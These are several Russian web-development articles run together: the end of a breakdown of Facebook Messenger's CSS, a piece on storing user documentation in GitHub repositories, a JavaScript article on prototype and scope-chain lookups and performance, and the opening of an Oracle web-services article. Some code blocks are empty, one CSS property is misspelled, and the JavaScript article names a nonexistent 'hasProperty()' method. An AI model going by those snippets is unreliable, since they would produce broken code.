Мне хотелось бы уделить особое внимание свойству `padding: 2px`, которое используется для настройки расстояния между изображениями. Оно не только позволяет добиться желаемого эффекта, но и отличается универсальностью, так как подходит для LTR- и RTL-макетов.
Если вы хотите углубиться в тему настройки расстояния между элементами с помощью CSS — взгляните на [эту](https://ishadeed.com/article/spacing-in-css/#spacing-in-grid-systems---flexbox) мою статью.
Цитирование сообщений
---------------------
*Процитированное сообщение и текст обычного сообщения*
При выводе процитированного сообщения используются три основных элемента:
* Заголовок, показывающий, кто кому ответил (например — «You replied to Ahmad»).
* Процитированное сообщение, выведенное с использованием особого стиля.
* Текст сообщения.
Присмотримся к структуре процитированного сообщения.
Устроено оно просто и понятно — блок такого сообщения очень похож на блок обычного сообщения, но у него нет дополнительных элементов вроде меню и области для вывода состояния сообщения.
У сообщения (выведено серым) установлено большое значение свойства `padding-bottom` и отрицательное значение `margin-bottom`, что позволяет переместить текст процитированного сообщения выше, чем текст обычного сообщения. И наконец — его правый нижний угол не скруглён.
```
.message--washed {
border-bottom-right-radius: 0;
padding: 8px 12px 9px;
margin-bottom: -17px;
}
```
А вот — стиль для текста, где настраивается свойство `padding-bottom`.
```
.message--washed__text {
padding-bottom: 12px;
}
```
*Процитированное сообщение*
То же самое касается и цитат в виде изображений.
*Процитированное сообщение с изображением*
Так же цитируются и вложения (вроде голосовых сообщений и видеозаписей).
*Процитированное изображение с вложением*
Реакции
-------
«Реакция» это когда пользователь реагирует на сообщение, пользуясь эмотиконами. Эти «реакции» выводятся ниже сообщения. Вот пример.
*«Реакция», выведенная под сообщением*
Вот HTML-код:
```
2
```
Элемент, который накладывается на другой элемент, это — содержимое «реакции», а не родительский элемент.
Вот стили:
```
.reaction__content {
display: flex;
align-items: center;
background-color: #fff;
border-radius: 10px;
padding: 1px 1px 1px 3px;
box-shadow: 0px 2px 4px rgba(0, 0, 0, 0.1);
transform: translateY(-7px);
}
```
Кроме того, для того чтобы расположить элементы там, где находится начало родительского элемента, нужно выровнять их по Flexbox родительского уровня. Тут речь идёт о LTR-макетах, а в RTL-макетах всё делается с точностью до наоборот.
```
.msg-bubble-wrapper.with-reaction {
display: flex;
flex-direction: column;
align-items: flex-end;
}
```
Я заметил, что для того чтобы аватар оставался бы выровненным по нижней части сообщения, используется элемент , высота которого равняется `18px`, играющий роль разделителя.
*Размещение «реакций» в LTR и RTL-макетах*
Вот разметка:
```
```
Или, если речь идёт о сообщении отправителя, используется следующая разметка.
```
```
Разметка списков сообщений
--------------------------
Разметка, используемая для оформления списков сообщений — это интересная тема. Тут имеется элемент с `role="grid"` и с `aria-label="Messages in conversation with Ahmad Shadeed"`.
В этом контейнере находятся элементы-строки с `role="row"`, а внутри каждого такого элемента имеется главный элемент с `role="gridcell"`.
Вот разметка, о которой идёт речь.
```
```
Но это ещё не всё. В каждом сообщении имеется визуально скрытый элемент с текстом `You sent` или `Person sent`, в зависимости от того, кто отправил сообщение.
```
#### You sent
```
Тут я обратил внимание на то, что одно из CSS-свойств, используемых для визуального скрытия текста — это `clip-path: inset(50%)`.
Вот — полный код стилизации:
```
.sr-only {
position: absolute;
height: 1px;
width: 1px;
overflow: hidden;
clip: rect(0px, 0px, 0px, 0px);
clip-path: inset(50%);
}
```
Расстояние между сообщениями
----------------------------
Теперь, когда вы знаете о том, как выглядит разметка строк, в которых выводятся сообщения, поговорим о том, как настраивается расстояние между сообщениями. Делается это с помощью компонентов-разделителей, а не с помощью отступов или чего-то другого.
Каждая строка с сообщением имеет элемент-разделитель высотой `2px` или `7px`, или, в некоторых случаях, и тот и другой. На следующем рисунке розовые элементы — это разделители высотой `7px`, а жёлтые — это разделители высотой `2px`.
*Элементы-разделители*
Контейнер верхнего уровня каждого сообщения — это Flex-контейнер с `flex-direction: column`.
Вот, например, изображение процитированного сообщения. Тут имеются разделители обоих видов. Кроме того, используемый здесь родительский элемент верхнего уровня — это Flexbox-контейнер с `flex-direction: column`.
*Разделители двух видов*
Разделители блоков сообщений, содержащие сведения о времени
-----------------------------------------------------------
Разделитель блоков сообщений может содержать текст или сведения о времени. Тут я расскажу о тех, которые содержат сведения о времени.
Когда пообщаешься с кем-то, а потом снова возвращаешься в чат — там можно заметить отцентрованный элемент со сведениями о дне недели и времени.
*Разделитель блоков сообщений*
Для создания подобных элементов используется довольно-таки интересная разметка.
```
October 28 at 6:12 PM
Thu 6:12 PM
------------------------------------------
```
Первый элемент предназначен исключительно для средств чтения с экрана. Понять это можно благодаря классу `sr-only` (подсказка: дизайнеры Facebook пользуются вспомогательными классами, я добавил тут класс `sr-only` только ради понятности изложения). Второй элемент скрыт от средств для чтения с экрана, он предназначен для пользователя. Интересно — правда?
Пользовательская стилизация фона блоков сообщений
-------------------------------------------------
Хотя мне эта возможность мессенджера и кажется бесполезной, я всё же о ней расскажу. Пользователь может настроить фон блоков сообщений с использованием градиентных цветов.
*Градиентные цвета блоков сообщений*
Когда пользователь прокручивает сообщения, всё выглядит так, будто их градиентная окраска анимирована.
*Прокрутка списка сообщений с градиентной окраской*
На первый взгляд может показаться, что это делается с помощью JavaScript, что у каждого сообщения имеется особое фоновое изображение, которое меняет позицию при прокрутке списка. Но на самом деле всё не так. Это — чистый CSS. Сейчас я расскажу о том, как достигнут подобный эффект.
Градиент, который мы видели, устанавливается для фона элемента-контейнера, содержащего список сообщений. То есть — окрашивается весь тот белый фон на котором расположены сообщения. Взгляните на следующий рисунок.
```
.messages-parent {
background-color: #3a12ff;
background-image: linear-gradient(#faaf00, #ff2e2e, #3a12ff);
}
```
*Градиентный фон*
Следующий шаг — убрать фоновый цвет и отключить скругление углов элементов, в которых выводятся сообщения (да, именно так всё и делается).
*Настройка элементов, в которых выводятся сообщения*
Далее — нужно задать белый фон буквально для всего, что имеется в интерфейсе — за исключением блоков, в которых выводятся сообщения (и это делается именно так).
```
.message__actions,
.message__status,
.spacer-xs,
.spacer-lg,
.message__spacer,
.message__avatar {
background-color: #fff;
}
```
*Продолжение работы над градиентным фоном*
Может, эти рассуждения выглядят необычно. Я, чтобы доказать, что ничего не выдумал, привожу запись процесса исследования интерфейса Facebook Messenger.
*Исследование интерфейса*
Обратите внимание на то, что после того, как я включил градиентный фон, это повлияло на множество элементов. Все эти элементы, чтобы перекрыть градиент там, где его не должно быть видно, необходимо окрасить в белый цвет.
Теперь, когда мы изолировали блоки сообщений, подумаем о том, как снова скруглить их углы. В этом деле нам помогут псевдоэлементы.
```
.custom-theming .message__bubble {
position: relative;
border-radius: 0;
background: transparent;
}
.custom-theming .message__bubble::after {
content: "";
position: absolute;
left: -36px;
right: -36px;
top: -36px;
bottom: -36px;
border: 36px solid #fff;
}
```
Этот ход позволяет нам выйти на следующий результат.
*Продолжение стилизации блоков сообщений*
Теперь нужно отредактировать углы. Как сделать внутренний закруглённый угол? Оказалось, что для этого можно воспользоваться следующей формулой:
```
внутренний радиус = border-radius - border-width
```
То есть — если даже добавить к вышеприведённым стилям `border-radius: 36px`, на угол это не повлияет. При использовании обычной стилизации, без градиента, свойство `border-radius` имеет значение `18px`. Для того чтобы отразить это на внутреннем радиусе, нужно увеличить значение свойства `border-radius` псевдоэлемента.
```
внутренний радиус = = 54px - 36px = 18px
```
Вот отредактированные стили:
```
.custom-theming .message__bubble {
position: relative;
border-radius: 0;
background: transparent;
}
.custom-theming .message__bubble::after {
content: "";
position: absolute;
left: -36px;
right: -36px;
top: -36px;
bottom: -36px;
border-radius: 54px;
border: 36px solid #fff;
}
```
*Скруглённые углы*
И наконец — нужно заключить псевдоэлемент в пределы элемента-обёртки блока сообщения.
```
.custom-theming .message__bubble {
position: relative;
border-radius: 0;
background: transparent;
overflow: hidden;
}
```
*Ограничение псевдоэлемента рамками элемента-обёртки блока сообщения*
Наш последний шаг заключается в изменении цвета границы (свойства `border-color`) на белый, после чего всё будет сделано как нужно.
Если вам интересно узнать о механизме анимации фона сообщений при прокрутке — знайте, что делается это посредством свойства `background-attachment: fixed`. И тут ещё используется граница элемента толщиной `2px` белого цвета. Думаю, сделано так не без причины, а с прицелом на работу с пользовательским фоном.
```
.messages-parent {
background-color: #3a12ff;
background-image: linear-gradient(#faaf00, #ff2e2e, #3a12ff);
background-attachment: fixed;
border-left: 2px solid #fff;
borfer-right: 2px solid #fff;
}
```
Итоги
-----
Мне было интересно исследовать структуру блока сообщений Facebook Messenger. Мне очень понравился этот процесс. Вот мои основные выводы:
* CSS Flexbox — это лучшее, что случилось с дизайном интерфейсов.
* Не стоит судить о сложности разработки некоего компонента, глядя лишь на один из его вариантов.
* Честно говоря — я не ожидал, что напишу об этом такую длинную статью. Когда я начал работу, я думал, что у меня получится небольшая заметка. Я ошибался — и мне это нравится.
* Компромиссы — это неотъемлемая часть работы дизайнера. Например, всю пользовательскую стилизацию блоков сообщений можно реализовать с помощью JavaScript. Но команда разработчиков из Facebook решила сделать всё исключительно средствами CSS. Полагаю — из соображений производительности.
* При работе над проектом, которым будут пользоваться жители разных стран, нужно учитывать то, что он должен поддерживать вывод текстов на разных языках, что эта возможность должна быть заложена в него с самого начала. Мне очень понравилось то, что Facebook Messenger — это именно такой проект, особенно учитывая то, что я написал [руководство](https://rtlstyling.com/) по RTL-стилизации.
«Препарируете» ли вы интерфейсы известных веб-проектов в поиске интересных идей?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=Facebook_Messenger) | https://habr.com/ru/post/587724/ | null | ru | null |
# Пользовательская документация и GitHub
Сталкивались ли вы когда нибудь с долгим поиском документации к используемой библиотеке или пакету? Я считаю странным, что исходный код не распространяется с пользовательской документацией. Ведь она такая же важная часть кода, как тесты или зависимости. Без хорошей пользовательской документации мы можем «убить» уйму времени на анализ кода и комментариев. Так почему бы не хранить пользовательскую документацию вместе с исходными кодами программы? Речь не о DocBlock и генерацию документации по API проекта, я говорю именно о пользовательской документации, которую мы так любим за последовательное повествование и множество примеров.
В этой статье я приведу один из способов хранения пользовательской документации вместе с исходными кодами программы так, чтобы это было удобно как для разработчиков, так и для пользователей.
> Многим статья может показаться «капитанской». Если вы почувствуете на своих щеках соленые брызги и услышите шум волн, немедленно прекратите чтение!
**Пользовательская документация**
=================================
В отличии от документации, добавляемой прямо в исходные коды (в виде комментариев), пользовательская документация более «user-ориентированная», если можно так выразится. Представьте, что вы долго искали подходящую библиотеку и вдруг коллега назвал ту, которая «может вам подойти». Вы быстро находите ее на *GitHub*, но с чего начать? Хорошо если в корне есть файл *README.md*, но даже ознакомление с ним может оставить множество вопросов. Обычно все заканчивается одним исчерпывающим примером (если библиотека не большая) или ссылкой на официальную документацию в виде Web-сайта или PDF документа. После доступа к одному из этих ресурсов вы вздыхаете с облегчением, внимательно читаете несколько страниц, изучаете пятерку примеров и начинаете уверенно пользоваться библиотекой.
> Пользовательская документация — это лицо вашего проекта. Чем она доступнее, тем меньше пользователей бросят идею изучения вашего решения из-за проблемы новизны.
Использование Web-сайта или документа в качестве пользовательской документации это хорошее решение, но у него есть несколько минусов:* Документация отделена от проекта и, возможно, пользователю будет сложно получить к ней доступ
* Ответственность за пользовательскую документацию лежит полностью на плечах разработчика. Если пользователь найдет ошибки или опечатки в ней, ему будет сложно (относительно предлагаемого в этой статье решения) связаться с разработчиком и сообщить ему об этом
* Если пользователь решит помочь разработчику и перевести документацию на другой язык, это будет так же проблематично сделать
* Документация может стать недоступной по техническим причинам (упал Web-сайт, потерялась ссылка на документ т.д.)Потому сейчас я постараюсь убедить вас в пользе хранения пользовательской документации прямо внутри проекта.
**Как тесты**
=============
Вы храните unit-тесты вашего проекта вместе с кодом или в отдельном репозитории? Обычно они находятся в каталоге *tests* и являются неотъемлемой частью проекта. С документацией так же. Она — часть вашего проекта, но в отличии от тестов, она нужна пользователям не для проверки работоспособности вашего решения, а для быстрого и безболезненного ознакомления с ним.
Я предлагаю выделить для пользовательской документации отдельный каталог в вашем проекте. Пусть он называется *docs* и содержит файлы с расширением md (почему выбран именно *Markdown* вы узнаете позже). Полезно так же снабдить вашу пользовательскую документацию «точкой входа» — это файл оглавления, с помощью которого пользователям будет проще ориентироваться в этом каталоге. Я предпочитаю называть этот файл *index.md* и записывать в него список ссылок на остальные файлы в этом каталоге.
**Пример**
```
1. [Введение](./getting-started.md)
2. [Обработка файлов](./files.md)
3. [Работа в сети](./network.md)
```
Рекомендую так же использовать файл «Введение» (*getting-started.md*), который можно использовать для «быстрого старта». В нем должны быть кратко и доступно описаны основные возможности вашего решения с примерами и комментариями. Информации в этом файле должно хватить для того, чтобы начать пользоваться вашим решением на пользовательском уровне.
> В пользовательской документации должна быть «точка входа» — документ, который ознакомит читателя со структурой и содержанием.
Остальные файлы должны содержать подробное описание компонентов вашего решения, подробные примеры использования и возможные проблемы, с которыми может столкнуться пользователь. Лучше, чтобы эти файлы не были связаны друг с другом, чтобы пользователь мог начать изучение того компонента, который он считает нужным.
**Прямо в репозиторий**
=======================
После того, как пользовательская документация будет готова, добавьте в корень вашего проекта файл *README.md*, в котором будет ссылка на «точку входа» вашей документации.
**Пример**
```
# Bricks.Cli.Routing
Пакет позволяет работать с данными, получаемыми при вызове PHP интерпретатора из
командной строки. Он так же реализует маршрутизацию на основе опций вызовов
командной строки.
## Установка и Автозагрузка
Этот пакет сопровождается файлом [composer.json][], что позволяет использовать
[Composer][] для его инсталляции и автозагрузки.
Так же можно установить его загрузив [исходные коды][] пакета в виде Zip архива
или клонировав этот репозиторий. Все компоненты этого пакета загружают
зависимости автоматически.
Перед использованием рекомендуется выполнить тестирование с помощью утилиты
[PHPUnit][] вызвав ее в корневом каталоге пакета.
## Зависимости
Этот пакет зависит от интерпретатора PHP версии 5.5 или выше.
## Поддержка
Если у вас возникли сложности или вопросы по использованию пакета, создайте
[обсуждение][] в данном репозитории или напишите на электронную почту
.
## Документация
Пользовательскую документацию можно получить по [ссылке](./docs/index.md).
Документацию API можно получить из исходных кодов пакета или с помощью утилиты
[Doxygen][].
[composer.json]: ./composer.json
[Composer]: http://getcomposer.org/
[исходные коды]: https://github.com/Bashka/bricks\_cli\_routing/releases
[PHPUnit]: http://phpunit.de/
[обсуждение]: https://github.com/Bashka/bricks\_cli\_routing/issues
[Doxygen]: http://www.stack.nl/~dimitri/doxygen/index.html
```
Теперь проект можно коммитить и заливать в ваш репозиторий. Если это *GitHub*, то помимо исходного кода, пользователи получат качественно оформленную пользовательскую документацию. В качестве примера могу предложить [мое решение](https://github.com/Bashka/bricks_cli_routing) в области роутинга CLI-запросов, в котором использовался подход, предлагаемый в статье.
Так как вся документация находится в репозитории, на нее удобно ссылаться извне по ссылке вида: https://raw.githubusercontent.com/Bashka/bricks\_cli\_routing/master/docs/call.md — а если «прикрутить» сюда Web-интерфейс, то можно получить полноценный Web-сайт без необходимости переноса документации. Удобно не правда ли?
Более того, если вы переместите документацию из каталога *docs* в каталог *docs/ru*, то позволите вашим пользователям переводить ее просто добавляя новые каталоги и копируя в них переведенные файлы документации.
**Пока все**
============
Если вы пишите небольшие OpenSource решения, то попробуйте этот способ хранения документации. Он может показаться чем то очевидным, но им редко кто пользуется. Возможно это обусловлено тем, что проект пишут одни люди, а пользовательскую документацию другие. | https://habr.com/ru/post/269883/ | null | ru | null |
# Всё, что вы должны знать о прототипах, замыканиях и производительности
#### Не всё так просто
На первый взгляд, JavaScript может показаться достаточно простым языком. Возможно, это из-за достаточно гибкого синтаксиса. Или из-за схожести с другими известными языками, например, с Java. Ну или из-за достаточно малого количества типов данных, по сравнению с Java, Ruby, или .NET.
Но в действительности, синтаксис JavaScript гораздо менее прост и очевиден чем может поначалу показаться. Некоторые наиболее характерные черты JavaScript до сих пор неправильно воспринимаются и до конца не поняты, особенно среди опытных разработчиков. Одна из таких черт — производительность при получении данных (свойств и переменных) и возникающие при этом проблемы с производительностью.
В JavaScript поиск данных зависит от двух вещей: прототипного наследования и цепочек областей видимости. Для разработчика понимание этих двух механизмов совершенно необходимо, ибо ведет к улучшению структуры, а, зачастую, ещё и производительности кода.
#### Получение свойств в цепочке прототипов
При доступе к свойству в JavaScript, просматривается вся цепочка прототипов объекта.
Каждая функция в JavaScript это объект. При вызове функции с оператором `new` создается новый объект.
```
function Person(firstName, lastName) {
this.firstName = firstName;
this.lastName = lastName;
}
var p1 = new Person('John', 'Doe');
var p2 = new Person('Robert', 'Doe');
```
В примере выше `p1` и `p2` два разных объекта, каждый из которых создан с помощью конструктора `Person`. Как видно из следующего примера, они независимые экземпляры `Person`:
```
console.log(p1 instanceof Person); // выводит 'true'
console.log(p2 instanceof Person); // выводит 'true'
console.log(p1 === p2); // выводит 'false'
```
Раз функции в JavaScript объекты, они могут иметь свойства. Наиболее важное из имеющихся у них свойств называется `prototype`.
`prototype`, представляющий собой объект, наследуется от родительского прототипа снова и снова, пока не доберется до самого верхнего уровня. Это часто называется *цепочкой прототипов*. В начале цепочки всегда `Object.prototype` (т. е. на самом верхнем уровне цепочки прототипов); он содержит методы `toString()`, `hasProperty()`, `isPrototypeOf()` и т. д.
Прототип каждой функции может быть расширен собственными методами и свойствами.
При создании нового экземпляра объекта (вызывая функцию с оператором `new`), он наследует все свойства через прототип. Однако, имейте ввиду что экземпляры не имеют прямого доступа к объекту прототипа, только к его свойствам.
```
// Расширим прототип Person из примера выше
// методом 'getFullName':
Person.prototype.getFullName = function() {
return this.firstName + ' ' + this.lastName;
}
// Объект p1 также из примера выше
console.log(p1.getFullName()); // выводит 'John Doe'
// но у p1 нет прямого доступа к объекту 'prototype'...
console.log(p1.prototype); // выводит 'undefined'
console.log(p1.prototype.getFullName()); // выкидывает ошибку
```
Это важный и тонкий момент: даже если `p1` был создан перед определением метода `getFullName`, он всё-равно будет иметь к нему доступ, потому что его прототипом был прототип `Person`.
(Стоит упомянуть что браузеры сохраняют ссылку на прототип в свойстве `__proto__`, но его использование очень портит карму, как минимум потому что его нет в [стандарте ECMAScript](http://www.ecma-international.org/ecma-262/5.1/), так что *не надо его использовать*).
Так как экземпляр `Person` `p1` не имеет прямого доступа к объекту прототипа, мы должны перезаписывать метод `getFullName` в `p1` вот так:
```
// Мы ссылаемся на p1.getFullName, *НЕ* p1.prototype.getFullName,
// ибо p1.prototype нет:
p1.getFullName = function(){
return 'Я есъм аноним';
}
```
Теперь у `p1` есть собственное свойство `getFullName`. Но у экземпляра `p2` собственной реализации этого свойства нет. Соответственно, вызов `p1.getFullName` дергает собственный метод объекта `p1`, в то время как вызов `p2.getFullName()` идет вверх по цепочке прототипов до `Person`.
```
console.log(p1.getFullName()); // выводит 'Я есъм аноним'
console.log(p2.getFullName()); // выводит 'Robert Doe'
```
Ещё одна вещь, которой стоит опасаться, возможность динамически поменять прототип объекта:
```
function Parent() {
this.someVar = 'someValue';
};
// расширяем прототип Parent, что бы определить метод 'sayHello'
Parent.prototype.sayHello = function(){
console.log('Hello');
};
function Child(){
// убеждаемся что родительский конструктор вызывается
// и состояние корректно инициализируется.
Parent.call(this);
};
// расширяем прототип Child что бы задать свойство 'otherVar'...
Child.prototype.otherVar = 'otherValue';
// ... но затем мы устанавливаем вместо прототипа Child прототип Parent
// (в нем нет никакого свойства 'otherVar',
// поэтому и в прототипе Child свойства ‘otherVar’ больше не определено)
Child.prototype = Object.create(Parent.prototype);
var child = new Child();
child.sayHello(); // выводит 'Hello'
console.log(child.someVar); // выводит 'someValue'
console.log(child.otherVar); // выводит 'undefined'
```
При использовании прототипного наследования, помните о том, что свойства дочернего прототипа следует задавать *после* наследования от родительского объекта.
Итак, получение свойств в цепочке прототипов работает следующим образом:
* Если у объекта есть свойство с нужным именем, возвращается оно. (При помощи метода [`hasOwnProperty`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty) можно проверить что это именно собственное свойство объекта).
* Если у объекта ничего похожего нет, смотрим в прототип объекта.
* Если и тут ничего, то проверяем уже его собственный прототип.
* И так далее, пока не найдем нужное свойство.
* Если мы добрались до Object.prototype, но так ничего и не нашли, свойство считается не заданным.
Понимание того, как работает прототипное наследование в целом важно для разработчиков, но помимо этого оно имеет важное значение из-за своего влияния (порой заметного) на производительность. Как написано в документации к V8, большинство JavaScript движков использует для хранения свойств структуру данных, подобную словарю. Поэтому вызов любого свойства требует динамического поиска для нахождения нужного свойства. Такой способ делает доступ к свойствам в JavaScript гораздо медленнее чем доступ к переменным экземпляра на таких языках как Java или Smalltalk.
#### Поиск переменной через цепочку областей видимости
Другой механизм поиска в JavaScript основывается на замыкании.
Для понимания того как это работает, необходимо ввести такое понятие как [контекст исполнения](http://davidshariff.com/blog/what-is-the-execution-context-in-javascript/).
В JavaScript, два типа контекста исполнения:
* Глобальный, создается при запуске JavaScript
* Локальный, создается при вызове функции
Контексты исполнения организованы в виде стека. Внизу стека всегда глобальный контекст, уникальный для каждой программы. Каждый раз, когда встречается функция, создается новый контекст исполнения и помещается в начало стека. Как только выполнение функции завершено, её контекст выкидывается из стека.
```
// глобальный контекст
var message = 'Hello World';
var sayHello = function(n){
// локальный контекст 1 создается и помещается в стек
var i = 0;
var innerSayHello = function() {
// локальный контекст 2 создается и помещается в стек
console.log((i + 1) + ': ' + message);
// локальный контекст 2 покидает стек
}
for (i = 0; i < n; i++) {
innerSayHello();
}
// локальный контекст 1 покидает стек
};
sayHello(3);
// Выводит:
// 1: Hello World
// 2: Hello World
// 3: Hello World
```
В каждом контексте исполнения есть специальный объект называемый цепочкой областей видимости, используемый для разрешения переменных. Цепочка по сути стек доступных контекстов исполнения, от текущего до глобального. (Если быть точнее, то объект на вершине стека называется *Activation Object* и содержит: ссылки на локальные переменные для исполняемой функции, заданные аргументы функции и два «особых» объекта: `this` и `arguments`).
обратите внимание как на диаграмме `this` указывает по умолчанию на объект `window`, и что глобальный объект содержит другие объекты, как например `console` и `location`.
При попытке разрешить переменную через цепочку областей видимости, сначала проверяется текущий контекст на предмет нужной переменной. Если совпадений не найдено, проверяется следующий объект контекста в цепочке, и так далее, пока не будет найдено желаемое. Если ничего не найдено, кидается `ReferenceError`.
Кроме того, важно отметить что новая область видимости добавляется если встречаются блоки `try-catch` или `with`. Во всех этих случаях, создается новый объект и помещается наверх цепочки областей видимости.
```
function Person(firstName, lastName) {
this.firstName = firstName;
this.lastName = lastName;
};
function persist(person) {
with (person) {
// Объект 'person' попадает в цепочку областей видимости
// как только мы попадаем в блок "with", так что мы можем просто ссылаться на
// 'firstName' и 'lastName', а не на person.firstName и
// person.lastName
if (!firstName) {
throw new Error('FirstName is mandatory');
}
if (!lastName) {
throw new Error('LastName is mandatory');
}
}
try {
person.save();
} catch(error) {
// Новая область видимости, содержащая объект 'error'
console.log('Impossible to store ' + person + ', Reason: ' + error);
}
}
var p1 = new Person('John', 'Doe');
persist(p1);
```
Для полного понимания как разрешается переменная в среде областей видимости, важно помнить что в JavaScript сейчас нет областей видимости на уровне блока.
```
for (var i = 0; i < 10; i++) {
/* ... */
}
// 'i' всё ещё в области видимости!
console.log(i); // выводит '10'
```
В большинстве других языков, код выше приведет к ошибке, потому что «жизнь» (т. е. область видимости) переменной `i` будет ограничена блоком for. Но не в JavaScript. i добавляется в Activation Object наверх цепочки областей видимости, и остается там до тех пор пока объект не будет удален, что происходит после удаления контекста исполнения из стека. Это поведение известно как всплытие переменных.
Стоит упомянуть, что поддержка области видимости на уровне блока появилось в JavaScript с появлением нового ключевого слова `let`. Оно уже доступно в JavaScript 1.7 и должно стать официально поддерживаемым ключевым словом начиная с ECMAScript 6.
#### Влияние на производительность
Способ поиска и разрешения переменных и свойств одна из ключевых особенностей JavaScript, но в тоже время это один из самых тонких и хитрых моментов для понимания.
Операции поиска, которые мы описали, по цепочке прототипов или областей видимости, повторяются каждый раз, когда свойство или переменная вызывается. Когда это происходит в цикле или во время другой тяжелой операции, вы сразу ощутите влияние на производительность кода, особенно на фоне однопоточной природы JavaScript, препятствующей выполнению нескольких операций одновременно.
```
var start = new Date().getTime();
function Parent() { this.delta = 10; };
function ChildA(){};
ChildA.prototype = new Parent();
function ChildB(){}
ChildB.prototype = new ChildA();
function ChildC(){}
ChildC.prototype = new ChildB();
function ChildD(){};
ChildD.prototype = new ChildC();
function ChildE(){};
ChildE.prototype = new ChildD();
function nestedFn() {
var child = new ChildE();
var counter = 0;
for(var i = 0; i < 1000; i++) {
for(var j = 0; j < 1000; j++) {
for(var k = 0; k < 1000; k++) {
counter += child.delta;
}
}
}
console.log('Final result: ' + counter);
}
nestedFn();
var end = new Date().getTime();
var diff = end - start;
console.log('Total time: ' + diff + ' milliseconds');
```
В коде выше, у нас есть длинное дерево наследования и три вложенных цикла. В самом глубоком цикле инкрементируется счетчик значением переменной `delta`. Но значение дельты определяется на самом верху дерева наследования! *Это значит, что каждый раз при вызове `child.delta` просматривается полностью всё дерево снизу доверху*. Это может негативно сказываться на производительности.
Осознав это раз, мы можем с лёгкостью улучшить производительность `nestedFn`, закешировав локально значение `child.delta` в переменной `delta`:
```
function nestedFn() {
var child = new ChildE();
var counter = 0;
var delta = child.delta; // cache child.delta value in current scope
for(var i = 0; i < 1000; i++) {
for(var j = 0; j < 1000; j++) {
for(var k = 0; k < 1000; k++) {
counter += delta; // no inheritance tree traversal needed!
}
}
}
console.log('Final result: ' + counter);
}
nestedFn();
var end = new Date().getTime();
var diff = end - start;
console.log('Total time: ' + diff + ' milliseconds');
```
Естественно, мы можем так делать, если только точно знаем что значение `child.delta` не будет меняться во время выполнения циклов; в противном случае мы должны будем периодически обновлять значение переменной актуальным значением.
Так, давайте запустим теперь обе версии `nestedFn` и посмотрим, есть ли заметная разница в производительности между ними.
```
diego@alkadia:~$ node test.js
Final result: 10000000000
Total time: 8270 milliseconds
```
Выполнение заняло около 8 секунд. Это много.
Теперь посмотрим что с нашей оптимизированной версией:
```
diego@alkadia:~$ node test2.js
Final result: 10000000000
Total time: 1143 milliseconds
```
На этот раз всего секунда. Гораздо быстрее!
Использование локальных переменных, для предотвращения тяжелых запросов, используется как для поиска свойства (по цепочке прототипов), так и для разрешения переменных (через область видимости).
Более того, такое «кеширование» значений (т. е. в локальных переменных) даёт выигрыш при использовании некоторых распространенных JavaScript библиотек. Возьмем jQuery, для примера. Он поддерживает «селекторы», механизм получения одного или более элементов DOM. Лёгкость с которой это происходит «помогает» забыть насколько поиск по селектору тяжелая операция. Поэтому сохранение результатов поиска в переменной дает ощутимый прирост к производительности.
```
// это причина поиска по DOM селектора $('.container') "n" раз
for (var i = 0; i < n; i++) {
$('.container').append(“Line “+i+”
”);
}
// и снова...
// ок, мы ищем селектор $('.container') всего раз,
// зато измываемся над его DOM "n" раз
var $container = $('.container');
for (var i = 0; i < n; i++) {
$container.append("Line "+i+"
");
}
// гораздо лучше было бы вот так...
// так мы ищем по DOM селектор $('.container') один раз,
// И модифицируем DOM только один раз
var $html = '';
for (var i = 0; i < n; i++) {
$html += 'Line ' + i + '
';
}
$('.container').append($html);
```
Второй подход даст значительно лучшую производительность, нежели первый, особенно на страницах с большим количеством элементов.
#### Подытожим
Поиск данных в JavaScript довольно сильно отличается от других языков, и в нём много нюансов. Посему, необходимо полностью и главное правильно понимать его концепции, дабы по-настоящему владеть этим языком. Эти знания принесут более чистый, более надежный код и улучшенную производительность. | https://habr.com/ru/post/223027/ | null | ru | null |
# Веб-сервисы в Oracle
[Веб-сервисы](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%B1-%D1%81%D0%BB%D1%83%D0%B6%D0%B1%D0%B0) широко применяются для интеграции между компонентами одной системы или между различными системами. Популярность веб-сервисов как способа интеграции обусловлена их универсальностью, а также простотой реализации и отладки. Универсальность связана с передачей данных с помощью интернета и протокола HTTP. Веб-сервисы дают возможность относительно легко построить интеграции между компонентами, написанными на разных языках, запускаемыми на разных операционных системах и платформах. Простота реализации веб-сервисов достигается за счет встроенных во многие IDE средств и компонентов, позволяющих быстро разработать как сам веб-сервис (provider side), так и необходимый код для вызова сервиса на стороне клиента (client side). Отладку сервисов упрощает использование понятных человеку форматов обмена данными — XML и JSON. Кроме того, существует множество утилит для отладки и тестирования сервисов, в том числе нагрузочного.
В этой статье рассмотрим несколько способов создания веб-сервисов непосредственно из СУБД Oracle, то есть без использования сторонних средств.
**Содержание**
[Предыстория](#Introduction)
[Native Oracle XML DB Web Services](#NativeOracle)
[Возможности](#NativeOracleFeatures)
[Настройка](#NativeOracleSetup)
[Настройка Oracle XML DB HTTP server](#NativeOracleSetup-Step1)
[Настройка доступа через HTTP](#NativeOracleSetup-Step2)
[Создание сервлета для веб-сервиса](#NativeOracleSetup-Step3)
[Настройка Access List (ACL)](#NativeOracleSetup-Step4)
[Пример веб-сервиса с использованием пакетной процедуры](#NativeOracleExample)
[Выводы](#NativeOracleSummary)
[Oracle REST Data Service](#OracleREST)
[Возможности](#OracleRESTFeatures)
[Настройка](#OracleRESTSetup)
[Настройка параметров](#OracleRESTSetup-Step1)
[Установка](#OracleRESTSetup-Step2)
[Запуск](#OracleRESTSetup-Step3)
[Настройка доступа](#OracleRESTSetup-Step4)
[Пример 1: Обработчик для POST-запроса](#OracleRESTExample1)
[Создание тестового пользователя для WS](#OracleRESTExample1-Step1)
[Настройка схемы БД](#OracleRESTExample1-Step2)
[Создание модуля и шаблона](#OracleRESTExample1-Step3)
[Создание обработчика HTTP-запроса](#OracleRESTExample1-Step4)
[Пример вызова](#OracleRESTExample1-Step5)
[Параметры из запроса](#OracleRESTExample1-Step6)
[CGI-переменные](#OracleRESTExample1-Step7)
[Пример 2: Доступ к таблице через ORDS](#OracleRESTExample2)
[Создание тестовой таблицы](#OracleRESTExample2-Step1)
[Открытие доступа к таблице через ORDS](#OracleRESTExample2-Step2)
[Создание или изменение записи](#OracleRESTExample2-Step3)
[Получение записей из таблицы](#OracleRESTExample2-Step4)
[Удаление записи](#OracleRESTExample2-Step5)
[Выводы](#OracleRESTSummary)
